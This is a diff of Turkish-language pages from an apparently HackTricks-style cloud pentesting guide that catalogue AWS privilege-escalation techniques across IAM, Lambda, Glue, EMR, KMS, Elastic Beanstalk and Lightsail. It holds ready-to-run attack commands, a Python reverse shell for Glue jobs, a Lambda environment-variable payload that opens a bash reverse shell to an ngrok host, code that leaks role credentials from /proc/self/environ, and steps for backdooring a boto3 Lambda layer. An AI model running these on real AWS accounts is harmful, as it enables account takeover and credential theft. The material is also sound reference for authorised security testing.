Bir saldırganın EFS'nin alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:**
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
```
**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma.
**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı ayrıcalık yükseltme.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -15,7 +15,7 @@ Daha fazla **Elastic Beanstalk hakkında bilgi** için:
### `elasticbeanstalk:RebuildEnvironment`, S3 yazma izinleri ve daha fazlası
**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etme** izinleri (bunun için `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç izin gereklidir) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etmek** için izinler (gerekli olan `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç tane daha) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -38,11 +38,11 @@ Bahsedilenler ve birkaç **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`*
```bash
aws elasticbeanstalk create-application --application-name MyApp
```
- AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
- Bir AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
```bash
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
```
Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**.
Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**.
- Uygulama kodunuzu ve bağımlılıklarını bir ZIP dosyasına paketleyin:
```python
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **güncellemeniz** gerekiyor, böylece **kurban buna erişebilir** (Bu, Bucket'ı **HERKES** için **açacaktır**):
Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **kurbanın erişebilmesi** için **güncellemeniz** gerekiyor (Bu, Bucket'ı **HERKES** için **açacaktır**):
```json
{
"Version": "2008-10-17",

View File

@@ -13,7 +13,7 @@ Daha fazla **EMR hakkında bilgi** için:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Bu izinlere sahip bir saldırgan **EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir** ve kimlik bilgilerini çalmaya çalışabilir.\
Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya birini ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz).
Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya bir tane ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz.
Not edin ki bir **EMR rolü** `--service-role` içinde belirtilmiştir ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz.
**Olası Etki:** Belirtilen EC2 hizmet rolüne privesc.
@@ -45,7 +45,7 @@ Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--e
Bu izinlerle bir saldırgan **AWS konsoluna** gidebilir, bir Notebook oluşturabilir ve IAM Rolünü çalmak için erişebilir.
> [!CAUTION]
> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim.
> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim.
**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
@@ -55,7 +55,7 @@ Sadece bu izinle bir saldırgan **Jupyter Notebook'a erişebilir ve ona bağlı
Notebook'un URL'si `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
> [!CAUTION]
> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim.
> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim.
**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

View File

@@ -4,7 +4,7 @@
### `gamelift:RequestUploadCredentials`
Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapım dosyası yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir.
Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapı dosyası seti yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111

View File

@@ -6,7 +6,7 @@
### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
Bu izinlere sahip kullanıcılar, **mevcut bir hizmet rolünü Glue tarafından üstlenilebilir şekilde atayarak yeni bir AWS Glue geliştirme uç noktası kurabilirler**.
Bu izinlere sahip kullanıcılar, **yeni bir AWS Glue geliştirme uç noktası kurabilir**, **bu uç noktaya belirli izinlere sahip olan mevcut bir hizmet rolünü atayabilir**.
Kurulumdan sonra, **saldırgan uç noktanın örneğine SSH ile bağlanabilir** ve atanan rolün IAM kimlik bilgilerini çalabilir:
```bash
@@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir.
Gizlilik amacıyla, Glue sanal makinesi içindeki IAM kimlik bilgilerini kullanmanız önerilir.
**Olası Etki:** Belirtilen glue hizmet rolüne privesc.
@@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini** oluşturabilir veya güncelleyebilir, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodunu çalıştırmayı içerir; bu, Glue işine ekli olan rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir ve bu da o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir:
**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini oluşturabilir veya güncelleyebilir**, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodu çalıştırmayı içerir; bu, Glue işine ekli rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir. Bu, o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
@@ -75,9 +75,9 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
### `glue:UpdateJob`
Sadece güncelleme izni ile bir saldırgan, zaten ekli olan rolün IAM Kimlik Bilgilerini çalabilir.
Sadece güncelleme izni ile bir saldırgan, zaten bağlı olan rolün IAM Kimlik Bilgilerini çalabilir.
**Olası Etki:** Ekli olan glue hizmet rolüne privesc.
**Olası Etki:** Bağlı olan glue hizmet rolüne privesc.
## Referanslar

View File

@@ -12,7 +12,7 @@ IAM hakkında daha fazla bilgi için kontrol edin:
### **`iam:CreatePolicyVersion`**
Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `iam:SetDefaultPolicyVersion` iznine ihtiyaç duymadan `--set-as-default` bayrağını kullanarak. Bu, özel izinlerin tanımlanmasını sağlar.
Yeni bir IAM politika versiyonu oluşturma yetkisi verir, `--set-as-default` bayrağını kullanarak `iam:SetDefaultPolicyVersion` izni gereksinimini atlar. Bu, özel izinlerin tanımlanmasını sağlar.
**Exploit Command:**
```bash
@@ -79,11 +79,11 @@ aws iam create-service-specific-credential --user-name <username> --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan yetki yükseltme.
**Etkisi:** Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükseltme.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak doğrudan yetki yükseltir.
Politikaların kullanıcılara veya gruplara eklenmesine izin verir, eklenen politikanın izinlerini miras alarak ayrıcalıkları doğrudan yükseltir.
**Kullanıcı için Sömürü:**
```bash
@@ -103,7 +103,7 @@ Rollere, kullanıcılara veya gruplara politikalar eklemeye veya koymaya izin ve
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Satır İçi Politikalara Saldırı:**
**Satır İçi Politika için İstismar:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Bir politika kullanabilirsiniz:
Aşağıdaki gibi bir politika kullanabilirsiniz:
```json
{
"Version": "2012-10-17",
@@ -148,7 +148,7 @@ Bir rolün varsayılan rol politikası belgesini değiştirmeye izin verir, böy
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni verir:
Politika aşağıdaki gibi görünüyorsa, bu kullanıcıya rolü üstlenme izni verir:
```json
{
"Version": "2012-10-17",
@@ -163,11 +163,11 @@ Aşağıdaki gibi görünen bir politika, kullanıcıya rolü üstlenme izni ver
]
}
```
**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan yetki yükseltme.
**Etkisi:** Herhangi bir rolün izinlerini üstlenerek doğrudan ayrıcalık yükseltme.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir, bu da potansiyel dolaylı yetki yükseltmeye yol açar.
CodeCommit'e kimlik doğrulamak için bir SSH genel anahtarının yüklenmesine ve MFA cihazlarının devre dışı bırakılmasına izin verir, bu da potansiyel dolaylı ayrıcalık yükseltmesine yol açar.
**SSH Anahtarı Yükleme için Sömürü:**
```bash
@@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** **güvenen** herhangi bir **rol ile giriş yapmak** için kötüye kullanabilirsiniz.
Bu izinlerle **SAML bağlantısının XML meta verisini değiştirebilirsiniz**. Ardından, **SAML federasyonunu** kullanarak **güvenen** herhangi bir **rol ile giriş yapabilirsiniz**.
Bunu yapmanın **meşru kullanıcıların giriş yapamayacağını** unutmayın. Ancak, XML'i alabilir, kendi XML'inizi koyabilir, giriş yapabilir ve önceki ayarları yapılandırabilirsiniz.
```bash
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir Araç
> TODO: Belirtilen bir rol ile giriş yapabilen SAML meta verisi üretebilen bir araç
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollerde giriş yapabilmek için yeni bir **Parmak İzi** ekleyebilir.
(Bu konuda emin değilim) Eğer bir saldırgan bu **izinlere** sahipse, sağlayıcıya güvenen tüm rollere giriş yapabilmek için yeni bir **Thumbprint** ekleyebilir.
```bash
# List providers
aws iam list-open-id-connect-providers

View File

@@ -49,7 +49,7 @@ policy.json:
```
### `kms:CreateGrant`
Bu, **bir yetkilinin bir KMS anahtarını kullanmasına izin verir:**
Bu, **bir yetkilinin KMS anahtarını kullanmasına izin verir:**
```bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -57,12 +57,12 @@ aws kms create-grant \
--operations Decrypt
```
> [!WARNING]
> Bir grant yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> Bir yetki yalnızca belirli türdeki işlemlere izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> [!WARNING]
> Grant oluşturulduktan sonra KMS'nin **kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\
> Ancak, grant'i hemen kullanmak gerekiyorsa [bir grant token kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\
> [**Daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
> KMS'nin **yetki oluşturulduktan sonra kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir**. Bu süre geçtikten sonra, yetkili KMS anahtarını herhangi bir şey belirtmeden kullanabilir.\
> Ancak, yetkiyi hemen kullanmak gerekiyorsa [bir yetki belirteci kullanın](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (aşağıdaki kodu kontrol edin).\
> [**daha fazla bilgi için bunu okuyun**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
@@ -70,7 +70,7 @@ aws kms generate-data-key \
-key-spec AES_256 \
--grant-tokens $token
```
Not edin ki, anahtarların yetkilerini listelemek mümkündür:
Anahtarların izinlerini listelemenin mümkün olduğunu unutmayın:
```bash
aws kms list-grants --key-id <value>
```
@@ -78,7 +78,7 @@ aws kms list-grants --key-id <value>
Bu izinlerle, çok bölgeli etkin bir KMS anahtarını farklı bir bölgede farklı bir politika ile çoğaltmak mümkündür.
Yani, bir saldırgan bunu kullanarak anahtara erişimini artırabilir ve onu kullanabilir.
Yani, bir saldırgan bunu anahtara erişimini artırmak ve kullanmak için kötüye kullanabilir.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

View File

@@ -4,7 +4,7 @@
## lambda
Lambda hakkında daha fazla bilgi için:
lambda hakkında daha fazla bilgi için:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer bilinmeyen güvenlik grupları ters shell'lerinizi filtreliyorsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır.
Lambda'nın rol kimlik bilgilerini dış bağlantıya ihtiyaç duymadan sızdırmak da mümkündür. Bu, iç görevlerde kullanılan **Ağdan İzole Lambdalar** için faydalı olacaktır. Eğer ters shell'lerinizi filtreleyen bilinmeyen güvenlik grupları varsa, bu kod parçası, kimlik bilgilerini lambda'nın çıktısı olarak doğrudan sızdırmanıza olanak tanıyacaktır.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
**`iam:PassRole`, `lambda:CreateFunction` ve `lambda:CreateEventSourceMapping`** izinlerine sahip kullanıcılar (ve potansiyel olarak `dynamodb:PutItem` ve `dynamodb:CreateTable`) dolaylı olarak **yetki yükseltebilirler**; hatta `lambda:InvokeFunction` olmadan bile.\
Kötü niyetli kod içeren bir **Lambda fonksiyonu oluşturabilir ve ona mevcut bir IAM rolü atayabilirler**.
Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonu dolaylı olarak çağrılır ve kod, geçirilen IAM rolünün izinleriyle yürütülür.
Kullanıcı doğrudan Lambda'yı çağırmak yerine, mevcut bir DynamoDB tablosu kurar veya kullanır ve bunu bir olay kaynağı eşlemesi aracılığıyla Lambda ile bağlar. Bu kurulum, Lambda fonksiyonunun tablodaki yeni bir öğe girişi ile **otomatik olarak tetiklenmesini** sağlar; bu, kullanıcının eylemi veya başka bir işlem tarafından gerçekleşebilir ve böylece Lambda fonksiyonunu dolaylı olarak çağırarak kodu geçirilen IAM rolünün izinleriyle çalıştırır.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **streaming etkinleştirilmiş yeni bir tablo oluşturmalıdır:**
Eğer DynamoDB AWS ortamında zaten aktifse, kullanıcı sadece **Lambda fonksiyonu için olay kaynağı eşlemesini oluşturması** gerekir. Ancak, eğer DynamoDB kullanılmıyorsa, kullanıcı **akış etkinleştirilmiş yeni bir tablo oluşturmalıdır:**
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -118,7 +118,7 @@ DynamoDB akışına bağlı Lambda işlevi ile, saldırgan **DynamoDB akışın
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki yükseltme.
**Olası Etki:** Belirtilen lambda hizmet rolüne doğrudan yetki artırımı.
### `lambda:AddPermission`
@@ -134,7 +134,7 @@ aws lambda invoke --function-name <func_name> /tmp/outout
### `lambda:AddLayerVersionPermission`
Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve güvenlik açıkları veya hassas bilgiler arayabilir.
Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve zayıflıkları veya hassas bilgileri arayabilir.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -161,13 +161,13 @@ aws lambda invoke --function-name my_function output.txt
### `lambda:UpdateFunctionConfiguration`
#### Çevresel değişkenler aracılığıyla RCE
#### Ortam değişkenleri aracılığıyla RCE
Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak çevresel değişkenler eklemek mümkündür. Örneğin, python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir:
Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak ortam değişkenleri eklemek mümkündür. Örneğin, Python'da `PYTHONWARNING` ve `BROWSER` ortam değişkenlerini kötüye kullanarak bir Python sürecinin rastgele komutlar çalıştırması sağlanabilir:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için aşağıdaki bağlantıdaki betik dilleri alt bölümlerine bakın:
Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
@@ -200,7 +200,7 @@ Bunlar yerlerdir:
Örneğin, boto3 kütüphanesi `/var/runtime/boto3` (4. pozisyon) konumundan yüklenir.
#### Sömürü
#### İstismar
`lambda:UpdateFunctionConfiguration` iznini kötüye kullanarak bir lambda fonksiyonuna **yeni bir katman eklemek** mümkündür. Rastgele kod çalıştırmak için bu katmanın **lambda'nın içe aktaracağı bazı kütüphaneleri içermesi** gerekir. Lambda'nın kodunu okuyabiliyorsanız, bunu kolayca bulabilirsiniz, ayrıca lambda'nın **zaten bir katman kullanıyor olabileceğini** ve bu katmanı **indirebileceğinizi** ve **oraya kodunuzu ekleyebileceğinizi** unutmayın.
@@ -208,14 +208,14 @@ Bunlar yerlerdir:
```bash
pip3 install -t ./lambda_layer boto3
```
You can open `./lambda_layer/boto3/__init__.py` and **global kodda arka kapıyı ekleyin** (örneğin, kimlik bilgilerini dışa aktaran veya ters shell alan bir fonksiyon).
`./lambda_layer/boto3/__init__.py` dosyasını açabilir ve **global kodda arka kapıyı ekleyebilirsiniz** (örneğin, kimlik bilgilerini dışa aktaran bir fonksiyon veya ters shell almak için).
Then, zip that `./lambda_layer` directory and **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\
Not edin ki, /opt/python/boto3'ü geçersiz kılmak için bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerekiyor. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekiyor ve eğer bunu hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekiyor:
Sonra, `./lambda_layer` dizinini zipleyin ve **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\
Bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerektiğini unutmayın, böylece /opt/python/boto3'ü geçersiz kılabilirsiniz. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekir ve eğer bunu hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekir:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Şimdi, yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**:
Şimdi yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \

View File

@@ -11,7 +11,7 @@ Lightsail hakkında daha fazla bilgi için kontrol edin:
{{#endref}}
> [!WARNING]
> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bu hizmette bulunabilir.
> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, bu hizmette **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bulunabilir.
### `lightsail:DownloadDefaultKeyPair`
@@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name <instance_name>
### `lightsail:CreateBucketAccessKey`
Bu izin, size kovaya erişim anahtarı almanıza olanak tanır:
Bu izin, size kovaya erişim sağlamak için bir anahtar almanıza olanak tanır:
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
@@ -55,7 +55,7 @@ Eğer veritabanı kamuya açık değilse, bu izinlerle kamuya açık hale getire
```bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
```
**Olası Etki:** Veritabanında hassas bilgileri bulmak.
**Olası Etki:** Veritabanında hassas bilgileri bulma.
### `lightsail:OpenInstancePublicPorts`
@@ -86,7 +86,7 @@ aws set-resource-access-for-bucket \
--bucket-name <bucket-name> \
--access allow
```
**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim.
**Olası Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim.
### `lightsail:UpdateBucket`
@@ -101,7 +101,7 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
```
**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim.
**Olası Etki:** Hassas bilgileri içeren bucket'lara potansiyel yeni erişim.
### `lightsail:UpdateContainerService`
@@ -111,11 +111,11 @@ aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
**Olası Etki:** Özel ECR'den hassas bilgiler elde etme
**Olası Etki:** Özel ECR'den hassas bilgileri elde etme
### `lightsail:CreateDomainEntry`
Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına izin veren bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir.
